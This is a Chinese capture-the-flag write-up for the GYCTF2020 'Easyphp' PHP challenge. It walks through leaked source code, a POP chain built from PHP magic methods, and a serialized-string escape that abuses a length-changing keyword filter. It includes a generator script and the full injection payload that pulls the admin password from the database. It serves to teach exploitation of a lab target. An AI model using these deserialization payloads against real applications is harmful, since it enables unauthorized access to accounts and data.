考点:php序列化pop链 序列化字符串逃逸

    打开题目按照管理先扫描目录

    使用dirsearch 扫描出来了 flag.php login.php

    使用御剑什么都没有扫出来

    使用dirbuster什么都没有

    这个貌似是BUU平台问题……

    打开题目

    GYCTF2020-Easyphp - 图1

    发现登录框,尝试弱口令登录,并且爆破用户名与密码,查看图片

    失败

    查看大佬的wp,存在www.zip(没扫出来…………)

    查看www.zip,解压后查看代码

    关键代码

    1. //update.php
    2. $users=new User(); //创建类
    3. $users->update(); // 调用user类的update函数
    4. if($_SESSION['login']===1){
    5. require_once("flag.php");
    6. echo $flag;
    7. }
    8. // user类的update函数
    9. public function update(){
    10. //调用了getNewinfo函数
    11. $Info=unserialize($this->getNewinfo());
    12. $age=$Info->age;
    13. $nickname=$Info->nickname;
    14. //定义了一个UpdateHelper类
    15. $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    16. //这个功能还没有写完 先占坑
    17. }
    18. // 输入点 age 与 nickname 参数可控
    19. public function getNewInfo(){
    20. $age=$_POST['age'];
    21. $nickname=$_POST['nickname'];
    22. //创建了一个Info类并且序列化使用safe过滤
    23. return safe(serialize(new Info($age,$nickname)));
    24. }
    25. function safe($parm){
    26. $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    27. return str_replace($array,'hacker',$parm);
    28. } // 字符串替换
    29. // Info 类
    30. class Info{
    31. public $age;
    32. public $nickname;
    33. public $CtrlCase;
    34. public function __construct($age,$nickname){
    35. $this->age=$age;
    36. $this->nickname=$nickname;
    37. }
    38. // 在对象上下文中调用不可访问的方法时触发
    39. // __call 中的参数,$name 需要调用的方法的名称,$arguments是一个数组,其中包含传递给方法$name的参数
    40. public function __call($name,$argument){
    41. echo $this->CtrlCase->login($argument[0]);
    42. //此处$argument[0]就为age
    43. }
    44. }

    这里如何触发__call()函数

    1. // user类
    2. // 把类当成字符串使用时触发,返回值需要为字符串
    3. public function __toString()
    4. {
    5. $this->nickname->update($this->age);
    6. return "0-0";
    7. }
    8. // 这里user类中调用了Info类中不存在的update函数,因此这里会自动调用__call()函数
    1. class dbCtrl
    2. {
    3. public $hostname="127.0.0.1";
    4. public $dbuser="root";
    5. public $dbpass="root";
    6. public $database="test";
    7. public $name;
    8. public $password;
    9. public $mysqli;
    10. public $token;
    11. public function __construct()
    12. {
    13. $this->name=$_POST['username'];
    14. $this->password=$_POST['password'];
    15. $this->token=$_SESSION['token'];
    16. }
    17. public function login($sql)
    18. {
    19. $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
    20. if ($this->mysqli->connect_error) {
    21. die("连接失败,错误:" . $this->mysqli->connect_error);
    22. }
    23. $result=$this->mysqli->prepare($sql);
    24. $result->bind_param('s', $this->name);
    25. $result->execute();
    26. $result->bind_result($idResult, $passwordResult);
    27. $result->fetch();
    28. $result->close();
    29. if ($this->token=='admin') {
    30. return $idResult;
    31. }
    32. if (!$idResult) {
    33. echo('用户不存在!');
    34. return false;
    35. }
    36. if (md5($this->password)!==$passwordResult) {
    37. echo('密码错误!');
    38. return false;
    39. }
    40. $_SESSION['token']=$this->name;
    41. return $idResult;
    42. }
    43. public function update($sql)
    44. {
    45. //还没来得及写
    46. }
    47. }
    1. Class UpdateHelper{
    2. public $id;
    3. public $newinfo;
    4. public $sql;
    5. public function __construct($newInfo,$sql){
    6. $newInfo=unserialize($newInfo);
    7. $upDate=new dbCtrl();
    8. }
    9. public function __destruct()
    10. {
    11. echo $this->sql;
    12. }
    13. }
    14. //这里如果sql为类的话就会调用user的__string()函数

    pop 链思路 :利用 UpdateHelper类的destruct函数触发User类的tostring函数再触发Info类的__call()函数

    把 $this->CtrlCase实例化dbctrl 对象,再调用dbctrl类的login函数,通过查询语句把admin账户的密码查出来

    1. //payload
    2. <?php
    3. class User
    4. {
    5. public $id;
    6. public $age = null;
    7. public $nickname = null;
    8. }
    9. class Info
    10. {
    11. public $age;
    12. public $nickname;
    13. public $CtrlCase;
    14. public function __construct($age,$nickname)
    15. {
    16. $this->age = $age;
    17. $this->nickname = $nickname;
    18. }
    19. }
    20. class UpdateHelper
    21. {
    22. public $id;
    23. public $newinfo;
    24. public $sql;
    25. public function __construct($newInfo,$sql)
    26. {
    27. $newInfo = unserialize($newInfo);
    28. $upDate = new dbCtrl();
    29. }
    30. }
    31. class dbCtrl
    32. {
    33. public $hostname="127.0.0.1";
    34. public $dbuser="root";
    35. public $dbpass="root";
    36. public $database="test";
    37. public $name = "admin";
    38. public $password;
    39. public $mysqli;
    40. public $token = "admin";
    41. }
    42. $db = new dbCtrl();
    43. $user = new User();
    44. $info = new Info("lcdm123","lcdm123");
    45. $updatehelper = new UpdateHelper("lcdm123","lcdm123");
    46. $info->CtrlCase = $db;
    47. $user->nickname = $info;
    48. $user->age = "select password,id from user where username=?";
    49. $updatehelper->sql = $user;
    50. $realinfo = new Info("lcdm123","lcdm123");
    51. $realinfo->CtrlCase = $updatehelper;
    52. echo serialize($realinfo);
    53. //O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

    GYCTF2020-Easyphp - 图2

    GYCTF2020-Easyphp - 图3

    最终payload

    序列化逃逸

    这样构造的原因:将之前的序列化字符串删除info的部分(因为传入参数时会自动构造info),添加(”;s:8:”CtrlCase”;)的原因是因为传入参数的时候没有CtrlCase参数,需要自己提前构造好利用php反序列化字符串逃逸的方法传入

    1. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

    传入payload,获取到密码的payload(需要手动删除后面的0-0)

    GYCTF2020-Easyphp - 图4

    获得密码

    GYCTF2020-Easyphp - 图5

    登录获取flag

    GYCTF2020-Easyphp - 图6